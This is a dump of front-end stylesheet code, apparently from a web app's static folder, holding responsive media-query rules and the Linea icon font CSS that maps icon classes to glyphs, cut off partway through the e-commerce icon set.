---------------------------------------------------------------------- / * 1 - media screen and (max-width: 1750px) * 2 - media screen and (max-width: 1680px) * 3 - media screen and (max-width: 1280px) * 4 - media screen and (max-width: 1199px) * 5 - media screen and (max-width: 1024px) * 6 - media screen and (max-width: 991px) * 7 - media screen and (max-width: 767px) * 8 - media screen and (max-width: 680px) * 9 - media screen and (max-width: 480px) * 10 - media screen and (max-width: 320px) * ---------------------------------------------------------------------- */ /* 1 - media screen and (max-width: 1750px) ---------------------------------------------------------------------- */ /* 1 - media screen and (max-width: 1750px) ---------------------------------------------------------------------- */ /* 1 - media screen and (max-width: 1750px) End ---------------------------------------------------------------------- */ /* 2 - media screen and (max-width: 1680px) ---------------------------------------------------------------------- */ /* 2 - media screen and (max-width: 1680px) End ---------------------------------------------------------------------- */ /* 3 - media screen and (max-width: 1280px) ---------------------------------------------------------------------- */ /* 3 - media screen and (max-width: 1280px) End ---------------------------------------------------------------------- */ /* 4 - media screen and (max-width: 1199px) ---------------------------------------------------------------------- */ /* 4 - media screen and (max-width: 1199px) End ---------------------------------------------------------------------- */ /* 5 - media screen and (max-width: 1024px) ---------------------------------------------------------------------- */ @media (min-width: 992px) and (max-width: 1199px) { .title-margin-right { margin-right: 7px !important; } .title-margin-left { margin-left: 7px !important; } } /* 5 - media screen and (max-width: 1024px) End ---------------------------------------------------------------------- */ /* 6 - media screen and (max-width: 991px) ---------------------------------------------------------------------- */ @media (min-width: 768px) and (max-width: 991px) { .title-margin-right { margin-right: 7px !important; } .title-margin-left { margin-left: 7px !important; } } /* 6 - media screen and (max-width: 991px) End ---------------------------------------------------------------------- */ /* 7 - media screen and (max-width: 767px) ---------------------------------------------------------------------- */ @media (min-width: 680px) and (max-width: 767px) { .title-margin-right { margin-right: 7px !important; } .title-margin-left { margin-left: 7px !important; } .footer { left: 0; } } /* 7 - media screen and (max-width: 767px) End ---------------------------------------------------------------------- */ /* 8 - media screen and (max-width: 680px) ---------------------------------------------------------------------- */ @media (min-width: 480px) and (max-width: 679px) { .title-margin-right { margin-right: 7px !important; } .title-margin-left { margin-left: 7px !important; } .inbox-pagination { margin-top: 30px; float: left !important; } .card-badge .label { display: inline-block; margin-bottom: 5px; padding: 5px; } .mail-box .sm-side { width: 100%; } .mail-box aside { display: inline; } .footer { left: 0; } } /* 8 - media screen and (max-width: 680px) End ---------------------------------------------------------------------- */ /* 9 - media screen and (max-width: 480px) ---------------------------------------------------------------------- */ @media (min-width: 360px) and (max-width: 479px) { .title-margin-right { margin-right: 7px !important; } .title-margin-left { margin-left: 7px !important; } #project { margin-left: 0; } .fc-toolbar .fc-right { float: left; margin-top: 15px; } .card-badge .label { display: inline-block; margin-bottom: 5px; padding: 5px; } .mail-box .sm-side { width: 100%; } .mail-box aside { display: inline; } .footer { left: 0; } } /* 9 - media screen and (max-width: 360px) End ---------------------------------------------------------------------- */ /* 10 - media screen and (max-width: 320px) ---------------------------------------------------------------------- */ @media (min-width: 320px) and (max-width: 359px) { .title-margin-right { margin-right: 7px !important; } .title-margin-left { margin-left: 7px !important; } #project { margin-left: 0; } .fc-toolbar .fc-right { float: left; margin-top: 15px; } .br-theme-bars-pill .br-widget a { padding: 7px 12px; } .br-theme-bars-reversed .br-widget .br-current-rating { padding: 0; } .alert-rating { padding-bottom: 40px; } .card-badge .label { display: inline-block; margin-bottom: 5px; padding: 5px; } .mail-box .sm-side { width: 100%; } .mail-box aside { display: inline; } .chk-group { margin-bottom: 10px; } .pagination-list { float: left !important; margin-top: 10px; } .inner-append { position: relative; } .inner-append .append-btn { position: absolute; right: 0; top: 0; } .input-text { margin-bottom: 12px; } .footer { left: 0; } } /* 10 - media screen and (max-width: 320px) ---------------------------------------------------------------------- */ /*---------------------------------------------------------------*/ /* Retina */ /*---------------------------------------------------------------*/ @media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min-moz-device-pixel-ratio: 2), only screen and (-o-min-device-pixel-ratio: 2/1), only screen and (min-device-pixel-ratio: 2), only screen and (min-resolution: 192dpi), only screen and (min-resolution: 2dppx) { .default-logo { display: none !important; } .retina-logo { display: inline-block !important; } } ================================================ FILE: flag_server/webapps/static/icons/linea-icons/linea.css ================================================ @charset "UTF-8"; .glyphs.character-mapping { margin: 0 0 20px 0; padding: 20px 0 20px 30px; color: rgba(0,0,0,0.5); border: 1px solid #d8e0e5; -webkit-border-radius: 3px; border-radius: 3px; } .glyphs.character-mapping li { margin: 0 30px 20px 0; display: inline-block; width: 90px; text-align: center; font-size: 24px; color: ; } .linea-icon { position: relative; } .linea-icon svg { fill: #000; } .glyphs.character-mapping input { margin: 0; padding: 5px 0; line-height: 12px; font-size: 12px; display: block; width: 100%; border: 1px solid #d8e0e5; text-align: center; outline: 0; } .glyphs.character-mapping input:focus { border: 1px solid #fbde4a; -webkit-box-shadow: inset 0 0 3px #fbde4a; box-shadow: inset 0 0 3px #fbde4a; } .glyphs.character-mapping input:hover { -webkit-box-shadow: inset 0 0 3px #fbde4a; box-shadow: inset 0 0 3px #fbde4a; } @font-face { font-family: "linea-arrows-10"; src: url("fonts/linea-arrows-10.eot"); src: url("fonts/linea-arrows-10d41d.eot?#iefix") format("embedded-opentype"), url("fonts/linea-arrows-10.woff") format("woff"), url("fonts/linea-arrows-10.ttf") format("truetype"), url("fonts/linea-arrows-10.svg#linea-arrows-10") format("svg"); font-weight: normal; font-style: normal; } .linea-aerrow[data-icon]:before { font-family: "linea-arrows-10" !important; content: attr(data-icon); font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } [class^="linea-icon-"]:before, [class*="linea- icon-"]:before { font-family: "linea-arrows-10" !important; font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .icon-arrows-anticlockwise:before { content: "\e000"; } .icon-arrows-anticlockwise-dashed:before { content: "\e001"; } .icon-arrows-button-down:before { content: "\e002"; } .icon-arrows-button-off:before { content: "\e003"; } .icon-arrows-button-on:before { content: "\e004"; } .icon-arrows-button-up:before { content: "\e005"; } .icon-arrows-check:before { content: "\e006"; } .icon-arrows-circle-check:before { content: "\e007"; } .icon-arrows-circle-down:before { content: "\e008"; } .icon-arrows-circle-downleft:before { content: "\e009"; } .icon-arrows-circle-downright:before { content: "\e00a"; } .icon-arrows-circle-left:before { content: "\e00b"; } .icon-arrows-circle-minus:before { content: "\e00c"; } .icon-arrows-circle-plus:before { content: "\e00d"; } .icon-arrows-circle-remove:before { content: "\e00e"; } .icon-arrows-circle-right:before { content: "\e00f"; } .icon-arrows-circle-up:before { content: "\e010"; } .icon-arrows-circle-upleft:before { content: "\e011"; } .icon-arrows-circle-upright:before { content: "\e012"; } .icon-arrows-clockwise:before { content: "\e013"; } .icon-arrows-clockwise-dashed:before { content: "\e014"; } .icon-arrows-compress:before { content: "\e015"; } .icon-arrows-deny:before { content: "\e016"; } .icon-arrows-diagonal:before { content: "\e017"; } .icon-arrows-diagonal2:before { content: "\e018"; } .icon-arrows-down:before { content: "\e019"; } .icon-arrows-down-double:before { content: "\e01a"; } .icon-arrows-downleft:before { content: "\e01b"; } .icon-arrows-downright:before { content: "\e01c"; } .icon-arrows-drag-down:before { content: "\e01d"; } .icon-arrows-drag-down-dashed:before { content: "\e01e"; } .icon-arrows-drag-horiz:before { content: "\e01f"; } .icon-arrows-drag-left:before { content: "\e020"; } .icon-arrows-drag-left-dashed:before { content: "\e021"; } .icon-arrows-drag-right:before { content: "\e022"; } .icon-arrows-drag-right-dashed:before { content: "\e023"; } .icon-arrows-drag-up:before { content: "\e024"; } .icon-arrows-drag-up-dashed:before { content: "\e025"; } .icon-arrows-drag-vert:before { content: "\e026"; } .icon-arrows-exclamation:before { content: "\e027"; } .icon-arrows-expand:before { content: "\e028"; } .icon-arrows-expand-diagonal1:before { content: "\e029"; } .icon-arrows-expand-horizontal1:before { content: "\e02a"; } .icon-arrows-expand-vertical1:before { content: "\e02b"; } .icon-arrows-fit-horizontal:before { content: "\e02c"; } .icon-arrows-fit-vertical:before { content: "\e02d"; } .icon-arrows-glide:before { content: "\e02e"; } .icon-arrows-glide-horizontal:before { content: "\e02f"; } .icon-arrows-glide-vertical:before { content: "\e030"; } .icon-arrows-hamburger1:before { content: "\e031"; } .icon-arrows-hamburger-2:before { content: "\e032"; } .icon-arrows-horizontal:before { content: "\e033"; } .icon-arrows-info:before { content: "\e034"; } .icon-arrows-keyboard-alt:before { content: "\e035"; } .icon-arrows-keyboard-cmd:before { content: "\e036"; } .icon-arrows-keyboard-delete:before { content: "\e037"; } .icon-arrows-keyboard-down:before { content: "\e038"; } .icon-arrows-keyboard-left:before { content: "\e039"; } .icon-arrows-keyboard-return:before { content: "\e03a"; } .icon-arrows-keyboard-right:before { content: "\e03b"; } .icon-arrows-keyboard-shift:before { content: "\e03c"; } .icon-arrows-keyboard-tab:before { content: "\e03d"; } .icon-arrows-keyboard-up:before { content: "\e03e"; } .icon-arrows-left:before { content: "\e03f"; } .icon-arrows-left-double-32:before { content: "\e040"; } .icon-arrows-minus:before { content: "\e041"; } .icon-arrows-move:before { content: "\e042"; } .icon-arrows-move2:before { content: "\e043"; } .icon-arrows-move-bottom:before { content: "\e044"; } .icon-arrows-move-left:before { content: "\e045"; } .icon-arrows-move-right:before { content: "\e046"; } .icon-arrows-move-top:before { content: "\e047"; } .icon-arrows-plus:before { content: "\e048"; } .icon-arrows-question:before { content: "\e049"; } .icon-arrows-remove:before { content: "\e04a"; } .icon-arrows-right:before { content: "\e04b"; } .icon-arrows-right-double:before { content: "\e04c"; } .icon-arrows-rotate:before { content: "\e04d"; } .icon-arrows-rotate-anti:before { content: "\e04e"; } .icon-arrows-rotate-anti-dashed:before { content: "\e04f"; } .icon-arrows-rotate-dashed:before { content: "\e050"; } .icon-arrows-shrink:before { content: "\e051"; } .icon-arrows-shrink-diagonal1:before { content: "\e052"; } .icon-arrows-shrink-diagonal2:before { content: "\e053"; } .icon-arrows-shrink-horizonal2:before { content: "\e054"; } .icon-arrows-shrink-horizontal1:before { content: "\e055"; } .icon-arrows-shrink-vertical1:before { content: "\e056"; } .icon-arrows-shrink-vertical2:before { content: "\e057"; } .icon-arrows-sign-down:before { content: "\e058"; } .icon-arrows-sign-left:before { content: "\e059"; } .icon-arrows-sign-right:before { content: "\e05a"; } .icon-arrows-sign-up:before { content: "\e05b"; } .icon-arrows-slide-down1:before { content: "\e05c"; } .icon-arrows-slide-down2:before { content: "\e05d"; } .icon-arrows-slide-left1:before { content: "\e05e"; } .icon-arrows-slide-left2:before { content: "\e05f"; } .icon-arrows-slide-right1:before { content: "\e060"; } .icon-arrows-slide-right2:before { content: "\e061"; } .icon-arrows-slide-up1:before { content: "\e062"; } .icon-arrows-slide-up2:before { content: "\e063"; } .icon-arrows-slim-down:before { content: "\e064"; } .icon-arrows-slim-down-dashed:before { content: "\e065"; } .icon-arrows-slim-left:before { content: "\e066"; } .icon-arrows-slim-left-dashed:before { content: "\e067"; } .icon-arrows-slim-right:before { content: "\e068"; } .icon-arrows-slim-right-dashed:before { content: "\e069"; } .icon-arrows-slim-up:before { content: "\e06a"; } .icon-arrows-slim-up-dashed:before { content: "\e06b"; } .icon-arrows-square-check:before { content: "\e06c"; } .icon-arrows-square-down:before { content: "\e06d"; } .icon-arrows-square-downleft:before { content: "\e06e"; } .icon-arrows-square-downright:before { content: "\e06f"; } .icon-arrows-square-left:before { content: "\e070"; } .icon-arrows-square-minus:before { content: "\e071"; } .icon-arrows-square-plus:before { content: "\e072"; } .icon-arrows-square-remove:before { content: "\e073"; } .icon-arrows-square-right:before { content: "\e074"; } .icon-arrows-square-up:before { content: "\e075"; } .icon-arrows-square-upleft:before { content: "\e076"; } .icon-arrows-square-upright:before { content: "\e077"; } .icon-arrows-squares:before { content: "\e078"; } .icon-arrows-stretch-diagonal1:before { content: "\e079"; } .icon-arrows-stretch-diagonal2:before { content: "\e07a"; } .icon-arrows-stretch-diagonal3:before { content: "\e07b"; } .icon-arrows-stretch-diagonal4:before { content: "\e07c"; } .icon-arrows-stretch-horizontal1:before { content: "\e07d"; } .icon-arrows-stretch-horizontal2:before { content: "\e07e"; } .icon-arrows-stretch-vertical1:before { content: "\e07f"; } .icon-arrows-stretch-vertical2:before { content: "\e080"; } .icon-arrows-switch-horizontal:before { content: "\e081"; } .icon-arrows-switch-vertical:before { content: "\e082"; } .icon-arrows-up:before { content: "\e083"; } .icon-arrows-up-double-33:before { content: "\e084"; } .icon-arrows-upleft:before { content: "\e085"; } .icon-arrows-upright:before { content: "\e086"; } .icon-arrows-vertical:before { content: "\e087"; } @font-face { font-family: "linea-basic-10"; src: url("fonts/linea-basic-10.eot"); src: url("fonts/linea-basic-10d41d.eot?#iefix") format("embedded-opentype"), url("fonts/linea-basic-10.woff") format("woff"), url("fonts/linea-basic-10.ttf") format("truetype"), url("fonts/linea-basic-10.svg#linea-basic-10") format("svg"); font-weight: normal; font-style: normal; } .linea-basic[data-icon]:before { font-family: "linea-basic-10" !important; content: attr(data-icon); font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } [class^="linea-icon-"]:before, [class*="linea- icon-"]:before { font-family: "linea-basic-10" !important; font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .icon-basic-accelerator:before { content: "a"; } .icon-basic-alarm:before { content: "b"; } .icon-basic-anchor:before { content: "c"; } .icon-basic-anticlockwise:before { content: "d"; } .icon-basic-archive:before { content: "e"; } .icon-basic-archive-full:before { content: "f"; } .icon-basic-ban:before { content: "g"; } .icon-basic-battery-charge:before { content: "h"; } .icon-basic-battery-empty:before { content: "i"; } .icon-basic-battery-full:before { content: "j"; } .icon-basic-battery-half:before { content: "k"; } .icon-basic-bolt:before { content: "l"; } .icon-basic-book:before { content: "m"; } .icon-basic-book-pen:before { content: "n"; } .icon-basic-book-pencil:before { content: "o"; } .icon-basic-bookmark:before { content: "p"; } .icon-basic-calculator:before { content: "q"; } .icon-basic-calendar:before { content: "r"; } .icon-basic-cards-diamonds:before { content: "s"; } .icon-basic-cards-hearts:before { content: "t"; } .icon-basic-case:before { content: "u"; } .icon-basic-chronometer:before { content: "v"; } .icon-basic-clessidre:before { content: "w"; } .icon-basic-clock:before { content: "x"; } .icon-basic-clockwise:before { content: "y"; } .icon-basic-cloud:before { content: "z"; } .icon-basic-clubs:before { content: "A"; } .icon-basic-compass:before { content: "B"; } .icon-basic-cup:before { content: "C"; } .icon-basic-diamonds:before { content: "D"; } .icon-basic-display:before { content: "E"; } .icon-basic-download:before { content: "F"; } .icon-basic-exclamation:before { content: "G"; } .icon-basic-eye:before { content: "H"; } .icon-basic-eye-closed:before { content: "I"; } .icon-basic-female:before { content: "J"; } .icon-basic-flag1:before { content: "K"; } .icon-basic-flag2:before { content: "L"; } .icon-basic-floppydisk:before { content: "M"; } .icon-basic-folder:before { content: "N"; } .icon-basic-folder-multiple:before { content: "O"; } .icon-basic-gear:before { content: "P"; } .icon-basic-geolocalize-01:before { content: "Q"; } .icon-basic-geolocalize-05:before { content: "R"; } .icon-basic-globe:before { content: "S"; } .icon-basic-gunsight:before { content: "T"; } .icon-basic-hammer:before { content: "U"; } .icon-basic-headset:before { content: "V"; } .icon-basic-heart:before { content: "W"; } .icon-basic-heart-broken:before { content: "X"; } .icon-basic-helm:before { content: "Y"; } .icon-basic-home:before { content: "Z"; } .icon-basic-info:before { content: "0"; } .icon-basic-ipod:before { content: "1"; } .icon-basic-joypad:before { content: "2"; } .icon-basic-key:before { content: "3"; } .icon-basic-keyboard:before { content: "4"; } .icon-basic-laptop:before { content: "5"; } .icon-basic-life-buoy:before { content: "6"; } .icon-basic-lightbulb:before { content: "7"; } .icon-basic-link:before { content: "8"; } .icon-basic-lock:before { content: "9"; } .icon-basic-lock-open:before { content: "!"; } .icon-basic-magic-mouse:before { content: "\""; } .icon-basic-magnifier:before { content: "#"; } .icon-basic-magnifier-minus:before { content: "$"; } .icon-basic-magnifier-plus:before { content: "%"; } .icon-basic-mail:before { content: "&"; } .icon-basic-mail-multiple:before { content: "'"; } .icon-basic-mail-open:before { content: "("; } .icon-basic-mail-open-text:before { content: ")"; } .icon-basic-male:before { content: "*"; } .icon-basic-map:before { content: "+"; } .icon-basic-message:before { content: ","; } .icon-basic-message-multiple:before { content: "-"; } .icon-basic-message-txt:before { content: "."; } .icon-basic-mixer2:before { content: "/"; } .icon-basic-mouse:before { content: ":"; } .icon-basic-notebook:before { content: ";"; } .icon-basic-notebook-pen:before { content: "<"; } .icon-basic-notebook-pencil:before { content: "="; } .icon-basic-paperplane:before { content: ">"; } .icon-basic-pencil-ruler:before { content: "?"; } .icon-basic-pencil-ruler-pen:before { content: "@"; } .icon-basic-photo:before { content: "["; } .icon-basic-picture:before { content: "]"; } .icon-basic-picture-multiple:before { content: "^"; } .icon-basic-pin1:before { content: "_"; } .icon-basic-pin2:before { content: "`"; } .icon-basic-postcard:before { content: "{"; } .icon-basic-postcard-multiple:before { content: "|"; } .icon-basic-printer:before { content: "}"; } .icon-basic-question:before { content: "~"; } .icon-basic-rss:before { content: ""; } .icon-basic-server:before { content: "\e000"; } .icon-basic-server2:before { content: "\e001"; } .icon-basic-server-cloud:before { content: "\e002"; } .icon-basic-server-download:before { content: "\e003"; } .icon-basic-server-upload:before { content: "\e004"; } .icon-basic-settings:before { content: "\e005"; } .icon-basic-share:before { content: "\e006"; } .icon-basic-sheet:before { content: "\e007"; } .icon-basic-sheet-multiple:before { content: "\e008"; } .icon-basic-sheet-pen:before { content: "\e009"; } .icon-basic-sheet-pencil:before { content: "\e00a"; } .icon-basic-sheet-txt:before { content: "\e00b"; } .icon-basic-signs:before { content: "\e00c"; } .icon-basic-smartphone:before { content: "\e00d"; } .icon-basic-spades:before { content: "\e00e"; } .icon-basic-spread:before { content: "\e00f"; } .icon-basic-spread-bookmark:before { content: "\e010"; } .icon-basic-spread-text:before { content: "\e011"; } .icon-basic-spread-text-bookmark:before { content: "\e012"; } .icon-basic-star:before { content: "\e013"; } .icon-basic-tablet:before { content: "\e014"; } .icon-basic-target:before { content: "\e015"; } .icon-basic-todo:before { content: "\e016"; } .icon-basic-todo-pen:before { content: "\e017"; } .icon-basic-todo-pencil:before { content: "\e018"; } .icon-basic-todo-txt:before { content: "\e019"; } .icon-basic-todolist-pen:before { content: "\e01a"; } .icon-basic-todolist-pencil:before { content: "\e01b"; } .icon-basic-trashcan:before { content: "\e01c"; } .icon-basic-trashcan-full:before { content: "\e01d"; } .icon-basic-trashcan-refresh:before { content: "\e01e"; } .icon-basic-trashcan-remove:before { content: "\e01f"; } .icon-basic-upload:before { content: "\e020"; } .icon-basic-usb:before { content: "\e021"; } .icon-basic-video:before { content: "\e022"; } .icon-basic-watch:before { content: "\e023"; } .icon-basic-webpage:before { content: "\e024"; } .icon-basic-webpage-img-txt:before { content: "\e025"; } .icon-basic-webpage-multiple:before { content: "\e026"; } .icon-basic-webpage-txt:before { content: "\e027"; } .icon-basic-world:before { content: "\e028"; } @font-face { font-family: "linea-basic-elaboration-10"; src: url("fonts/linea-basic-elaboration-10.eot"); src: url("fonts/linea-basic-elaboration-10d41d.eot?#iefix") format("embedded-opentype"), url("fonts/linea-basic-elaboration-10.woff") format("woff"), url("fonts/linea-basic-elaboration-10.ttf") format("truetype"), url("fonts/linea-basic-elaboration-10.svg#linea-basic-elaboration-10") format("svg"); font-weight: normal; font-style: normal; } .linea-elaborate[data-icon]:before { font-family: "linea-basic-elaboration-10" !important; content: attr(data-icon); font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } [class^="linea-icon-"]:before, [class*="linea- icon-"]:before { font-family: "linea-basic-elaboration-10" !important; font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .icon-basic-elaboration-bookmark-checck:before { content: "a"; } .icon-basic-elaboration-bookmark-minus:before { content: "b"; } .icon-basic-elaboration-bookmark-plus:before { content: "c"; } .icon-basic-elaboration-bookmark-remove:before { content: "d"; } .icon-basic-elaboration-briefcase-check:before { content: "e"; } .icon-basic-elaboration-briefcase-download:before { content: "f"; } .icon-basic-elaboration-briefcase-flagged:before { content: "g"; } .icon-basic-elaboration-briefcase-minus:before { content: "h"; } .icon-basic-elaboration-briefcase-plus:before { content: "i"; } .icon-basic-elaboration-briefcase-refresh:before { content: "j"; } .icon-basic-elaboration-briefcase-remove:before { content: "k"; } .icon-basic-elaboration-briefcase-search:before { content: "l"; } .icon-basic-elaboration-briefcase-star:before { content: "m"; } .icon-basic-elaboration-briefcase-upload:before { content: "n"; } .icon-basic-elaboration-browser-check:before { content: "o"; } .icon-basic-elaboration-browser-download:before { content: "p"; } .icon-basic-elaboration-browser-minus:before { content: "q"; } .icon-basic-elaboration-browser-plus:before { content: "r"; } .icon-basic-elaboration-browser-refresh:before { content: "s"; } .icon-basic-elaboration-browser-remove:before { content: "t"; } .icon-basic-elaboration-browser-search:before { content: "u"; } .icon-basic-elaboration-browser-star:before { content: "v"; } .icon-basic-elaboration-browser-upload:before { content: "w"; } .icon-basic-elaboration-calendar-check:before { content: "x"; } .icon-basic-elaboration-calendar-cloud:before { content: "y"; } .icon-basic-elaboration-calendar-download:before { content: "z"; } .icon-basic-elaboration-calendar-empty:before { content: "A"; } .icon-basic-elaboration-calendar-flagged:before { content: "B"; } .icon-basic-elaboration-calendar-heart:before { content: "C"; } .icon-basic-elaboration-calendar-minus:before { content: "D"; } .icon-basic-elaboration-calendar-next:before { content: "E"; } .icon-basic-elaboration-calendar-noaccess:before { content: "F"; } .icon-basic-elaboration-calendar-pencil:before { content: "G"; } .icon-basic-elaboration-calendar-plus:before { content: "H"; } .icon-basic-elaboration-calendar-previous:before { content: "I"; } .icon-basic-elaboration-calendar-refresh:before { content: "J"; } .icon-basic-elaboration-calendar-remove:before { content: "K"; } .icon-basic-elaboration-calendar-search:before { content: "L"; } .icon-basic-elaboration-calendar-star:before { content: "M"; } .icon-basic-elaboration-calendar-upload:before { content: "N"; } .icon-basic-elaboration-cloud-check:before { content: "O"; } .icon-basic-elaboration-cloud-download:before { content: "P"; } .icon-basic-elaboration-cloud-minus:before { content: "Q"; } .icon-basic-elaboration-cloud-noaccess:before { content: "R"; } .icon-basic-elaboration-cloud-plus:before { content: "S"; } .icon-basic-elaboration-cloud-refresh:before { content: "T"; } .icon-basic-elaboration-cloud-remove:before { content: "U"; } .icon-basic-elaboration-cloud-search:before { content: "V"; } .icon-basic-elaboration-cloud-upload:before { content: "W"; } .icon-basic-elaboration-document-check:before { content: "X"; } .icon-basic-elaboration-document-cloud:before { content: "Y"; } .icon-basic-elaboration-document-download:before { content: "Z"; } .icon-basic-elaboration-document-flagged:before { content: "0"; } .icon-basic-elaboration-document-graph:before { content: "1"; } .icon-basic-elaboration-document-heart:before { content: "2"; } .icon-basic-elaboration-document-minus:before { content: "3"; } .icon-basic-elaboration-document-next:before { content: "4"; } .icon-basic-elaboration-document-noaccess:before { content: "5"; } .icon-basic-elaboration-document-note:before { content: "6"; } .icon-basic-elaboration-document-pencil:before { content: "7"; } .icon-basic-elaboration-document-picture:before { content: "8"; } .icon-basic-elaboration-document-plus:before { content: "9"; } .icon-basic-elaboration-document-previous:before { content: "!"; } .icon-basic-elaboration-document-refresh:before { content: "\""; } .icon-basic-elaboration-document-remove:before { content: "#"; } .icon-basic-elaboration-document-search:before { content: "$"; } .icon-basic-elaboration-document-star:before { content: "%"; } .icon-basic-elaboration-document-upload:before { content: "&"; } .icon-basic-elaboration-folder-check:before { content: "'"; } .icon-basic-elaboration-folder-cloud:before { content: "("; } .icon-basic-elaboration-folder-document:before { content: ")"; } .icon-basic-elaboration-folder-download:before { content: "*"; } .icon-basic-elaboration-folder-flagged:before { content: "+"; } .icon-basic-elaboration-folder-graph:before { content: ","; } .icon-basic-elaboration-folder-heart:before { content: "-"; } .icon-basic-elaboration-folder-minus:before { content: "."; } .icon-basic-elaboration-folder-next:before { content: "/"; } .icon-basic-elaboration-folder-noaccess:before { content: ":"; } .icon-basic-elaboration-folder-note:before { content: ";"; } .icon-basic-elaboration-folder-pencil:before { content: "<"; } .icon-basic-elaboration-folder-picture:before { content: "="; } .icon-basic-elaboration-folder-plus:before { content: ">"; } .icon-basic-elaboration-folder-previous:before { content: "?"; } .icon-basic-elaboration-folder-refresh:before { content: "@"; } .icon-basic-elaboration-folder-remove:before { content: "["; } .icon-basic-elaboration-folder-search:before { content: "]"; } .icon-basic-elaboration-folder-star:before { content: "^"; } .icon-basic-elaboration-folder-upload:before { content: "_"; } .icon-basic-elaboration-mail-check:before { content: "`"; } .icon-basic-elaboration-mail-cloud:before { content: "{"; } .icon-basic-elaboration-mail-document:before { content: "|"; } .icon-basic-elaboration-mail-download:before { content: "}"; } .icon-basic-elaboration-mail-flagged:before { content: "~"; } .icon-basic-elaboration-mail-heart:before { content: ""; } .icon-basic-elaboration-mail-next:before { content: "\e000"; } .icon-basic-elaboration-mail-noaccess:before { content: "\e001"; } .icon-basic-elaboration-mail-note:before { content: "\e002"; } .icon-basic-elaboration-mail-pencil:before { content: "\e003"; } .icon-basic-elaboration-mail-picture:before { content: "\e004"; } .icon-basic-elaboration-mail-previous:before { content: "\e005"; } .icon-basic-elaboration-mail-refresh:before { content: "\e006"; } .icon-basic-elaboration-mail-remove:before { content: "\e007"; } .icon-basic-elaboration-mail-search:before { content: "\e008"; } .icon-basic-elaboration-mail-star:before { content: "\e009"; } .icon-basic-elaboration-mail-upload:before { content: "\e00a"; } .icon-basic-elaboration-message-check:before { content: "\e00b"; } .icon-basic-elaboration-message-dots:before { content: "\e00c"; } .icon-basic-elaboration-message-happy:before { content: "\e00d"; } .icon-basic-elaboration-message-heart:before { content: "\e00e"; } .icon-basic-elaboration-message-minus:before { content: "\e00f"; } .icon-basic-elaboration-message-note:before { content: "\e010"; } .icon-basic-elaboration-message-plus:before { content: "\e011"; } .icon-basic-elaboration-message-refresh:before { content: "\e012"; } .icon-basic-elaboration-message-remove:before { content: "\e013"; } .icon-basic-elaboration-message-sad:before { content: "\e014"; } .icon-basic-elaboration-smartphone-cloud:before { content: "\e015"; } .icon-basic-elaboration-smartphone-heart:before { content: "\e016"; } .icon-basic-elaboration-smartphone-noaccess:before { content: "\e017"; } .icon-basic-elaboration-smartphone-note:before { content: "\e018"; } .icon-basic-elaboration-smartphone-pencil:before { content: "\e019"; } .icon-basic-elaboration-smartphone-picture:before { content: "\e01a"; } .icon-basic-elaboration-smartphone-refresh:before { content: "\e01b"; } .icon-basic-elaboration-smartphone-search:before { content: "\e01c"; } .icon-basic-elaboration-tablet-cloud:before { content: "\e01d"; } .icon-basic-elaboration-tablet-heart:before { content: "\e01e"; } .icon-basic-elaboration-tablet-noaccess:before { content: "\e01f"; } .icon-basic-elaboration-tablet-note:before { content: "\e020"; } .icon-basic-elaboration-tablet-pencil:before { content: "\e021"; } .icon-basic-elaboration-tablet-picture:before { content: "\e022"; } .icon-basic-elaboration-tablet-refresh:before { content: "\e023"; } .icon-basic-elaboration-tablet-search:before { content: "\e024"; } .icon-basic-elaboration-todolist-2:before { content: "\e025"; } .icon-basic-elaboration-todolist-check:before { content: "\e026"; } .icon-basic-elaboration-todolist-cloud:before { content: "\e027"; } .icon-basic-elaboration-todolist-download:before { content: "\e028"; } .icon-basic-elaboration-todolist-flagged:before { content: "\e029"; } .icon-basic-elaboration-todolist-minus:before { content: "\e02a"; } .icon-basic-elaboration-todolist-noaccess:before { content: "\e02b"; } .icon-basic-elaboration-todolist-pencil:before { content: "\e02c"; } .icon-basic-elaboration-todolist-plus:before { content: "\e02d"; } .icon-basic-elaboration-todolist-refresh:before { content: "\e02e"; } .icon-basic-elaboration-todolist-remove:before { content: "\e02f"; } .icon-basic-elaboration-todolist-search:before { content: "\e030"; } .icon-basic-elaboration-todolist-star:before { content: "\e031"; } .icon-basic-elaboration-todolist-upload:before { content: "\e032"; } @font-face { font-family: "linea-ecommerce-10"; src: url("fonts/linea-ecommerce-10.eot"); src: url("fonts/linea-ecommerce-10d41d.eot?#iefix") format("embedded-opentype"), url("fonts/linea-ecommerce-10.woff") format("woff"), url("fonts/linea-ecommerce-10.ttf") format("truetype"), url("fonts/linea-ecommerce-10.svg#linea-ecommerce-10") format("svg"); font-weight: normal; font-style: normal; } .linea-ecommerce[data-icon]:before { font-family: "linea-ecommerce-10" !important; content: attr(data-icon); font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } [class^="linea-icon-"]:before, [class*="linea- icon-"]:before { font-family: "linea-ecommerce-10" !important; font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .icon-ecommerce-bag:before { content: "a"; } .icon-ecommerce-bag-check:before { content: "b"; } .icon-ecommerce-bag-cloud:before { content: "c"; } .icon-ecommerce-bag-download:before { content: "d"; } .icon-ecommerce-bag-minus:before { content: "e"; } .icon-ecommerce-bag-plus:before { content: "f"; } .icon-ecommerce-bag-refresh:before { content: "g"; } .icon-ecommerce-bag-remove:before { content: "h"; } 